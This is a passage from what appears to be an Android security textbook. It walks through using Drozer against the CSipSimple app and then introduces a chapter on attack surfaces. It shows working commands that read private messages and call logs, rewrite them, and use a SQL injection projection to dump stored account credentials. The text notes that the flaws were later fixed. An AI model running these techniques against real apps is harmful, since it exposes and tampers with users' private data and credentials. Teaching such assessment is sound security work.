Drozer (formerly known as Mercury), by MWR Labs, is an extensible, modular security testing framework for Android. It uses an agent application running on the target device, and a Python-based remote console from which the tester can issue commands. It features numerous modules for operations like retrieving app information, discovering unprotected IPC interfaces, and exploiting the device. By default, it will run as a standard app user with only the INTERNET permission.
Discovery
With Drozer up and running, you quickly identify Content Provider URIs exported by CSipSimple, along with their respective permission requirements.
Run the app.provider.info module, passing –a com.csipsimple as the argu-ments to limit the scan to just the target app:
dz> run app.provider.info -a com.csipsimple Package: com.csipsimple
Authority: com.csipsimple.prefs
Read Permission: android.permission.CONFIGURE_SIP Write Permission: android.permission.CONFIGURE_SIP Multiprocess Allowed: False
Grant Uri Permissions: False Authority: com.csipsimple.db
Read Permission: android.permission.CONFIGURE_SIP Write Permission: android.permission.CONFIGURE_SIP Multiprocess Allowed: False
Grant Uri Permissions: False
To even interact with these providers, the android.permission.CONFIGURE_SIP permission must be held. Incidentally, this is not a standard Android permis-sion—it is a custom permission declared by CSipSimple. Check CSipSimple’s manifest to fi nd the permission declaration. Run app.package.manifest, passing the app package name as the sole argument. This returns the entire manifest, so the following output has been trimmed to show only the pertinent lines:
dz> run app.package.manifest com.csipsimple ...
<permission label="@2131427348" name="android.permission.CONFIGURE_SIP"
protectionLevel="0x1" permissionGroup="android.permission-group.COST_MONEY"
description="@2131427349">
</permission>
...
You see that the CONFIGURE_SIP permission is declared with a protectionLevel of 0x1, which corresponds to “dangerous” (which would prompt the user to accept the permission at install time, something most users might do anyway). However,
as neither signature nor signatureOrSystem are specifi ed, other applications may request this permission. The Drozer agent does not have this by default, but that’s easily rectifi ed by modifying the manifest and rebuilding the agent APK.
After your re-minted Drozer agent has the CONFIGURE_SIP permission, you can begin querying these Content Providers. You start by discovering the content URIs exposed by CSipSimple. To accomplish this, run the appropriately named app.provider.finduris module:
dz> run app.provider.finduri com.csipsimple Scanning com.csipsimple...
content://com.csipsimple.prefs/raz content://com.csipsimple.db/
content://com.csipsimple.db/calllogs
content://com.csipsimple.db/outgoing_filters content://com.csipsimple.db/accounts/
content://com.csipsimple.db/accounts_status/
content://com.android.contacts/contacts ...
Snarfi ng
This gives us numerous options, including interesting ones like messages and calllogs. Query these providers, starting with messages, using the app.provider.query module, with the content URI as the argument.
dz> run app.provider.query content://com.csipsimple.db/messages
| id | sender | receiver | contact | body
| mime_type | type | date | status | read | full_sender |
| 1 | SELF | sip:bob@ostel.co | sip:bob@ostel.co | Hello! |
text/plain | 5 | 1372293408925 | 405 | 1 | < sip:bob@ostel.co> |
This returns the column names and rows of data stored, in this case, in a SQLite database backing this provider. The instant messaging logs are accessible to you now. These data correspond to the message activity/screen shown in Figure 4-8.
You can also attempt to write to or update the provider, using the app.provider.update module. You pass in the content URI; the selection and selection-args, which specifi es the query constraints; the columns you want to replace; and the replacement data. Here change the receiver and body columns from their original values to something more nefarious:
dz> run app.provider.update content://com.csipsimple.db/messages
--selection "id=?" --selection-args 1 --string receiver "sip:badguy@ostel.co"
--string contact "sip:badguy@ostel.co" --string body "omg crimes"
--string full_sender "<sip:badguy@ostel.co>"
Done.
You changed the receiver from bob@ostel.co to badguy@ostel.co, and the message from Hello! to omg crimes. Figure 4-9 shows how the screen has been updated.
Figure 4-8: CSipSimple message log screen
You also saw the calllogs provider, which you can also query:
dz> run app.provider.query content://com.csipsimple.db/calllogs
| _id | name | numberlabel | numbertype | date | duration | new | number | type | account_id | status_code | status_
text
| 5 | null | null | 0 | 1372294364590 | 286 | 0 | "Bob" <sip:bob@ostel.co> | 1 | 1 | 200
| Normal call clearing |
| 4 | null | null | 0 | 1372294151478 | 34 | 0 | <sip:bob@ostel.co> | 2 | 1 | 200
| Normal call clearing | ...
Much like the messages provider and messages screen, calllogs data shows up in the screen shown in Figure 4-10.
Figure 4-9: CSipSimple modified message log screen
This data can also be updated in one fell swoop, using a selection constraint to update all the records for bob@ostel.co:
dz> run app.provider.update content://com.csipsimple.db/calllogs --selection "number=?" --selection-args "<sip:bob@ostel.co>"
--string number "<sip:badguy@ostel.co>"
Done.
Figure 4-11 shows how the screen with the call log updates accordingly.
Figure 4-10: CSipSimple call log screen
Injection
Content Providers with inadequate input validation or whose queries are built improperly, such as through unfi ltered concatenation of user input, can be vul-nerable to injection. This can manifest in different ways, such as SQL injection (for SQLite backed providers) and directory traversal (for fi le-system-backed providers). Drozer provides modules for discovering these issues, such as the scanner.provider.traversal and scanner.provider.injection modules.
Running the scanner.provider.injection module highlights SQL injection vulnerabilities in CSipSimple:
dz> run scanner.provider.injection -a com.csipsimple Scanning com.csipsimple...
Figure 4-11: CSipSimple modified call log screen
Not Vulnerable:
In the event that the same SQLite database backs multiple providers, much like traditional SQL injection in web applications, you can retrieve the contents of other tables. First, look at what’s actually in the database backing these pro-viders, once again querying calllogs using the app.provider.query module. This time, add a projection argument, which specifi es the columns to select, though you’ll pull the SQLite schema with * FROM SQLITE_MASTER--.
dz> run app.provider.query content://com.csipsimple.db/calllogs accounts (id INTEGER PRIMARY KEY AUTOINCREMENT,active INTEGER,wizard TEXT,display_name TEXT,p
riority INTEGER,acc_id TEXT NOT NULL,reg_uri TEXT,mwi_enabled BOOLEAN,
publish_enabled INTEGER,reg_timeout INTEGER,ka_interval INTEGER,pidf_tuple_id scheme TEXT,username TEXT,datatype INTEGER,data TEXT,initial_auth INTEGER,auth_algo TEXT,sip_stack
INTEGER,vm_nbr TEXT,reg_dbr INTEGER,try_clean_reg INTEGER,
use_rfc5626 INTEGER DEFAULT 1,rfc5626_instance_id TEXT,rfc5626_reg_id TEXT,vid_in_auto_show INTEGER DEFAUL
T -1,vid_out_auto_transmit INTEGER DEFAULT -1,rtp_port INTEGER DEFAULT – 1,rtp_enable_qos INTEGER DEFAULT -1,rtp_qos_dscp INTEGER DEFAULT –
1,rtp_bound_addr TEXT,rtp_p
ublic_addr TEXT,android_group TEXT,allow_via_rewrite INTEGER DEFAULT 0, sip_stun_use INTEGER DEFAULT -1,media_stun_use INTEGER DEFAULT -1,ice_cfg_use INTEGER DEFAULT
-1,ice_cfg_enable INTEGER DEFAULT 0,turn_cfg_use INTEGER DEFAULT -1, turn_cfg_enable INTEGER DEFAULT 0,turn_cfg_server TEXT,turn_cfg_user TEXT,turn_cfg_pwd TEXT,ipv6_
media_use INTEGER DEFAULT 0,wizard_data TEXT) |
| table | sqlite_sequence | sqlite_sequence | 5 | CREATE TABLE sqlite_sequence(name,seq)
You see that there’s a table called accounts, which presumably contains account data, including credentials. You can use fairly vanilla SQL injection in the projection of the query and retrieve the data in the accounts table, includ-ing login credentials. You’ll use * FROM accounts-- in your query this time:
dz> run app.provider.query content://com.csipsimple.db/calllogs --projection "* FROM accounts--"
| id | active | wizard | display_name | priority | acc_id
| reg_uri | mwi_enabled | publish_enabled | reg_timeout | ka_interval | pidf_tuple_id | force_contact | allow_contact_rewrite
| contact_rewrite_method | contact_params | contact_uri_params | transport
| default_uri_scheme | use_srtp | use_zrtp
| proxy | reg_use_proxy | realm | scheme | username | datatype
| data | initial_auth | auth_algo | sip_stack | ...
| 1 | 1 | OSTN | OSTN | 100 |
<sip:THISISMYUSERNAME@ostel.co> | sip:ostel.co | 1 | 1
| 1800 | 0 | null | null | 1
| 2 | null | null | 3 | sip | -1 | 1 | sips:ostel.co:5061 | 3
|
* | Digest | THISISMYUSERNAME | 0 | THISISMYPASSWORD | 0
| null | 0 | *98 | -1 | 1 | 1 | ...
N O T E The fl aws in CSipSimple that are discussed in the preceding sections have since been addressed. The CONFIGURE_SIP permission was moved to a more explicit namespace (rather than android.permission) and was given a more detailed description of its use and impact. Also, the SQL injection vulnerabilities in the Content Providers were fi xed, further limiting access to sensitive information.
Summary
This chapter gave an overview of some common security issues affecting Android applications. For each issue, the chapter presented a public example to help highlight the potential impact. You also walked through two case studies of
publicly available Android apps. Each case study detailed how to use common tools to assess the app, identify vulnerabilities, and exploit them.
The fi rst case study used Androguard to perform static analysis, disassem-bly, and decompilation of the target application. In doing this, you identifi ed security-pertinent components you could attack. In particular, you found a device lock/unlock feature that used SMS messages for authorization. Next, you used dynamic analysis techniques, such as debugging the app, to augment and confi rm the static analysis fi ndings. Finally, you worked through some proof-of-concept code to forge an SMS message and exploit the application’s device unlock feature.
The second case study demonstrated a quick and easy way to fi nd Content Provider-related exposures in an application using Drozer. First, you discovered that user activity and sensitive message logs were exposed from the app. Next, you saw how easy it is to tamper with the stored data. Finally, the case study discussed going a step further and exploiting a SQL injection vulnerability to retrieve other sensitive data in the provider’s database.
In the next chapter, we will discuss the overall attack surface of Android, as well as how to develop overall strategies for attacking Android.
Fully understanding a device’s attack surface is the key to successfully attack-ing or defendattack-ing it. This is as true for Android devices as it is for any other computer system. A security researcher whose goal is to craft an attack using an undisclosed vulnerability would begin by conducting an audit. The fi rst step in the audit process is enumerating the attack surface. Similarly, defend-ing a computer system requires understanddefend-ing all of the possible ways that a system can be attacked.
In this chapter, you will go from nearly zero knowledge of attack concepts to being able to see exactly where many of Android’s attack surfaces lie. First, this chapter clearly defi nes the attack vector and attack surface concepts. Next, it discusses the properties and ideologies used to classify each attack surface according to impact. The rest of the chapter divides various attack surfaces into categories and discusses the important details of each. You will learn about the many ways that Android devices can be attacked, in some cases evidenced by known attacks. Also, you will learn about various tools and techniques to help you explore Android’s attack surface further on your own.